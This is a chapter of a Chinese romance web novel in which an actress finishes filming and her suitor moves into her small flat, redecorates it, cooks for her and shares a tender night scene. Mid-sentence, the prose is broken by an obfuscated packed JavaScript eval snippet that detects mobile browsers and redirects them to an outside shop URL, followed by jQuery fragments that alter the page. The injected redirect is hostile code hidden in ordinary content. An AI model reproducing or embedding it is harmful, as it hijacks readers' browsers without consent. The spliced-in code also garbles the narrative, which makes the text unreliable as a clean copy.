17. 第 17 章

作品:《昭昭之言

    许昭礼第一部戏拍完的时候,出门已经可以只穿一件薄绒外套了。


    “姐,以后常聚啊!”林野眼泪汪汪地和许昭礼道别。


    许昭礼笑着拍拍他的肩:“等剧宣的时候还见呢。”


    剧组的杀青宴还是开在了影视城旁边的大饭店里,和除夕那晚是同一间包房。


    临走时,导演塞给她一个厚厚的红包。


    “昭礼,咱们来日方长。”


    许昭礼心里闷闷的。


    她双手接过红包,向导演道谢了好几声。


    进组时是最冷的那会儿,天气暖了,反而人都散了。


    公司前几天就开始为她物色新剧。


    她都一一拒绝了。


    春天到了。


    她想先给自己放个假。


    言让提了好几次去岛上玩,其实她也挺想去看看的。


    “下周就去吧。”她道,“等剧组杀青,我回家收拾一下行李就好。”


    “我帮你。”


    “怎么帮?”


    言让笑着不说话。


    许昭礼怀疑他是为了骗出自己的地址才这么说的。


    不仅没帮忙,反而采购了一大堆家装用品,声称是不能空手去她家。


    许昭礼租的房子就在经济公司旁边五百米,一栋老旧居民楼里的一居室。


    虽然价格并不优惠,但是通勤距离近,装修也新。


    她对于住的地方要求不高,干净简单就好。


    许昭礼不会开火做饭,平时下工了,顶多烧水煮个泡面和速冻饺子。


    所以她的房间里,不仅冰箱空空如也,连抽油烟机的塑料包装袋都没撕开。


    言让踏进门问的第一句话是:“你临时租了一间房来诓我?”


    许昭礼将箱子拉进空荡荡的客厅里,无奈地笑:“我虽然是领奖金了,但还没有富有到一个月交两份房租。”


    言让将他添置的三大箱行李还有许昭礼的小箱子一个个搬进房间。


    小客厅里一下就满满当当的了。


    “你的东西比我的多三倍。”她看着家里热闹的样子。就连过年买年货的时候,自己也没买过三大箱。


    她总觉得这里只是个落脚的地方,不是家,简单点的话,以后搬家时还轻松些。


    “都是给你的东西。”言让搬来一个小板凳,坐在门口收拾行李。


    “我不需要那么多东西。”


    言让不理她,把新买的冰箱贴全部吸在冰箱上。


    许昭礼叹了口气,转身走进卧室。


    她知道说服不了他。


    索性眼不见为净。


    许昭礼不是不喜欢装饰房间。


    刚毕业那会儿租的第一个房子,她也是认认真真打扮过的。


    那时候的她,每月的工资只够和别人合租。


    过年时,她就自己写春联,画福字,贴在房间的门上。


    后来退房时一个也没能带走。


    而她又是个非常念旧的人。


    多少个夜晚,她躺在新房子的床上,眼前是陌生的天花板,闭上眼,曾经的小卧室好像又回到了她身边。


    可她又常常不珍惜与现在卧室的美好时光,每次都躺在新房怀里想念旧房。


    于是为了避免这样悲伤的结局,她不再花心思在租来的房间里。


    能睡就好。


    她秉持着这条信念,一直坚持到现在。


    许昭礼将新的床单重新铺好,就见言让抱着一个枕头走了进来。


    轻易打破了她的信念。


    “只有一个房间么?”他问。


    “卫生间也算房间。”她回答。


    言让假装没听到:“那晚上只好睡这里了。”


    说着,他将自己的枕头并排放在了床头。


    单人床很窄,两个枕头放不下,两侧就都漏出了一条枕头边。


    “你也不怕一翻身就掉下去了。”许昭礼看着自己的枕头被可怜地挤出床沿,她咬牙切齿道。


    “不欢迎?”


    “还想我怎么欢迎?”


    “晚上我做饭。”


    “我是有骨气的。”


    “红烧肉。”


    “欢迎,您常来。”


    许昭礼把窗子都打开通风,又把旧窗帘塞进洗衣机里。


    一抬头看见言让拿着卷尺在旁边测量着什么。


    “你再怎么量,这柜子也长不了个儿了,他已经是四岁的大柜子了,早都定型了。”


    言让捏着尺子,看了看数字,又叹了口气。


    许昭礼摇摇头,她觉得言让可以去参加电视台的那个房屋改造类节目,别人都是被改造,他可以去改造别人。


    冰箱上贴了一块小留言板,写着一整天的菜单。


    许昭礼很满意这部分装饰。


    至于其他的……


    当她看到言让将所有桌子,椅子,带腿的东西,全部套上小狗爪子的静音脚套时,终于忍不住了。


    “你这是预谋已久的吧,怎么能提前准备这么多东西啊?”


    他们从下午三点进家门,到现在已经天黑了。


    言让居然还能从行李箱里掏出新东西往房子里放。


    甚至数目和大小还都基本对应上了。


    言让将洗好的窗帘拿出来晾着。


    “这回真没了。”他小心翼翼地看着许昭礼,笑着开口哄道,“是饿了吗?”


    许昭礼闭着眼叹气。


    是饿了。


    言让从网上买的菜下午就送到了,他让许昭礼去客厅看电视,自己又走进厨房。


    许昭礼没开多大音量,所以听到了抽油烟机塑料包装被拆开的声音。


    恭喜它终于出生了。


    许昭礼心思不在电视节目上。


    她看着明亮的小房间里,到处都是言让努力的痕迹。


    连锋利的桌子角都被他贴了起来。


    退租的时候能撕得掉么。


    她使劲摇摇头。


    想把一些奇怪的想法驱逐出去。


    她明明挺想感谢言让的。


    但话到嘴边就变成了:


    好了没?不需要。别放了。


    她害怕。


    看着变得温馨的房间,她慌乱得不知道要怎么面对。


    她好喜欢。


    有多喜欢就有多怕。


    许昭礼自己也不知道是为什么。


    要是能一直停留在这里就好了。


    要是能不再失去,她愿意让自己重新试着接受。


    她只怕,自己刚刚鼓起勇气,华丽迷人的伪装就被她的棱角戳破。


    她不是故意的。


    但每次都是这样的结果。


    所以这次她也犹豫了。


    本来是敢的,上周还敢的来着。


    但他太好。


    好得不真实。


    好得她开始怀疑,这样不求回报的好能坚持多久,究竟是想向她索取些什么,竟值得他做到如此地步。


    许昭礼没买餐桌,平时吃饭就把碗放在茶几上,人坐在地上。


    言让下午把地扫了又拖,两人垫了个新地毯就坐下了。


    “答应你的。”言让夹了一块红烧肉放进她的碗里。


    许昭礼迫不及待地送进口中,又塞了一大口米饭。


    肉香四溢,甜而不腻,咸中回甘。


    还是这个味道。


    “杀青快乐。”言让道。


    等了这么久,终于可以开戒了。


    许昭礼每样菜都放肆地夹了一大筷。


    虽然言让做的减脂餐也好吃,但绝对比不上油盐糖来的香。


    “你慢慢吃,喜欢的话,后面时间还久,我都学来做给你尝。”言让笑着看她。


    他吃饭不香。


    这是许昭礼这几个月以来,每日观察得出的结论。


    每次吃饭时,他盯着自己看的时间,都比他零零碎碎吃饭的时间加起来还要长了。


    “你不饿吗?”她有次忍不住问。


    “我看你爱吃,想让你先吃。”言让是这么回答的。


    许昭礼吃掉最后一口红烧肉,乖巧地放下了筷子。


    “饱了?”他问。


    许昭礼点点头。


    言让起身将碗筷都收拾进了厨房,剩余的菜都包好放进了冰箱里。


    恭喜冰箱终于不用冷冻空气了。


    厨房里没有洗碗机。


    许昭礼平时连碗都不常用,自然没有采购这款机器。


    于是言让手洗了所有的碗和锅,又将厨房重新清理了一遍。


    许昭礼坐在地毯上,电视里的节目已经从新闻联播变成了连续剧。


    她的背靠在沙发上,脑子里想的都是那个枕头。


    她的沙发比较小,睡下一个女生没有问题,但言让一米八七的个子实在很难缩进去。


    要不她睡沙发呢?


    许昭礼站起身,目测了一下长宽。


    应该可以。


    她睡觉挺老实的,不至于第二天醒来躺在地上。更何况刚铺了地毯,睡地上也不凉。


    想到这里,许昭礼觉得计划可行,于是搬来了自己的枕头被子,在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224786|197282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沙发上铺好了。


    言让洗完碗擦着手出来时,就看见某女明星把自己裹在被子里,露出个脑袋歪着头看电视。


    “冷吗?”他问道。


    许昭礼艰难地转过头去看他。


    “不冷,我试试这样睡舒不舒服,结果有点太舒服了,就不想出来了。”


    言让轻笑一声,从沙发侧面绕到她面前。


    “你睡沙发,那我睡地毯?”


    “我把卧室腾出来给你睡了。”


    言让眨眨眼,大言不惭道:“我晚上怕黑,要和你一个房间。”


    许昭礼:……


    “随你。”她放弃挣扎了。


    言让又走进卧室把自己的枕头抱出来,在沙发旁的地毯上收拾出一个简易地铺。


    趁着他收拾,许昭礼已经洗完澡出来了。


    “你晚上会起夜吗?”她问。


    “不会。”


    “哦,你要是起来的话轻点,我怕吓到我。一个人睡惯了,很容易忘记地上还有个人。”许昭礼擦着头发,语气平静。


    “那你呢?”他问。


    “我也不起夜。”她笑眯眯地说,“但有时候会梦游。”


    言让:……


    “我会尽量不踩到你的。”她信誓旦旦。


    怎么那么不信呢。


    言让点点头。


    “那我去洗澡了。”


    “好,水已经调好了。”许昭礼将他领到卫生间,关门前还意味深长地说了一句,“有需要随时叫我。”


    终于报仇了。


    她长舒一口气。


    哼着歌走回客厅。


    晚上的灯光有些刺眼,许昭礼吹完头发就关上了灯,钻进被子里缩起来,只有电视机的灯光一晃一晃的。


    晃得她都快睡着了。


    恍惚中,她感觉搭在沙发边上的手被轻轻拉了一下。


    许昭礼尖叫一声,吓得她的手指立刻闪电般往回缩,整个人从沙发上弹起来,屁股一个没坐稳,她就这样摔了下去。


    被子也被她蹬下沙发,所以摔得不疼。


    但是沙发下面的人显然也是被吓了一跳,刚伸出手想扶住她,没想到下一秒许昭礼整个人都摔进了他怀里。


    她的大脑还没有完全从梦中清醒,只觉得撞在了一块结实又有弹性的物体上。


    房间里一片漆黑,他温热的呼吸就吹在耳边,她听着声音逐渐加重,频率也越来越快。


    “磕到哪了么?”耳边的声音低沉沙哑,能听出是在刻意压制着问。


    “没……没有。”许昭礼慌乱地想用手撑坐起来。


    “嘶。”


    “啊对不起!压疼你了吗?”


    许昭礼没等到回答,一只大手揽过她的腰,一把将她几乎抱进怀中。


    她的手撑在地毯上,长发顺着胳膊,从一侧垂下几缕。另一只手搭在他身上,被他的完全握住。


    黑暗里,她看不清身下人的表情,只能听到两人混乱交错的呼吸声,还有不知是谁的心跳,正在肆意剧烈地跳动。


    “我都说了,睡觉的时候会忘记旁边有人。”她强装镇定地解释道。


    “嗯。”言让应着,“我知道。”


    “你故意的?”


    “没有。”


    “我不信。”


    她感觉自己的头发被微微撩动。


    他轻吻几下她垂落的发丝。


    不不,快说点什么!


    许昭礼的耳朵尖都在发烫。


    她可以控制住局面的,她可以,她……


    “你的香水是哪里买的?”


    她不可以。


    “你喜欢?”


    “嗯。”


    言让轻笑。


    “喜欢就好。”


    这话感觉怪怪的呢?


    “我说我喜欢香水。”她再次解释道。


    “我知道。”言让的声音带着笑意,慢悠悠地说,“我也喜欢。”


    许昭礼胳膊有些酸了。


    “我先起来。”她对他说。


    “好。”


    许昭礼扶着沙发,慢慢坐起身。


    然后迅速端正地坐回了沙发上面,连腿也缩了上去。


    “不好意思。”她目光注视着正前方的黑暗,努力冷静道,“你快睡吧。”


    “摸完了就走,还让人赶快睡?”言让笑道。


    “明明是你先摸我手的。”


    “那我们扯平了?”


    许昭礼抿着嘴不说话。


    “其实地上挺暖和的。”他缓缓对她说,“一起吗?”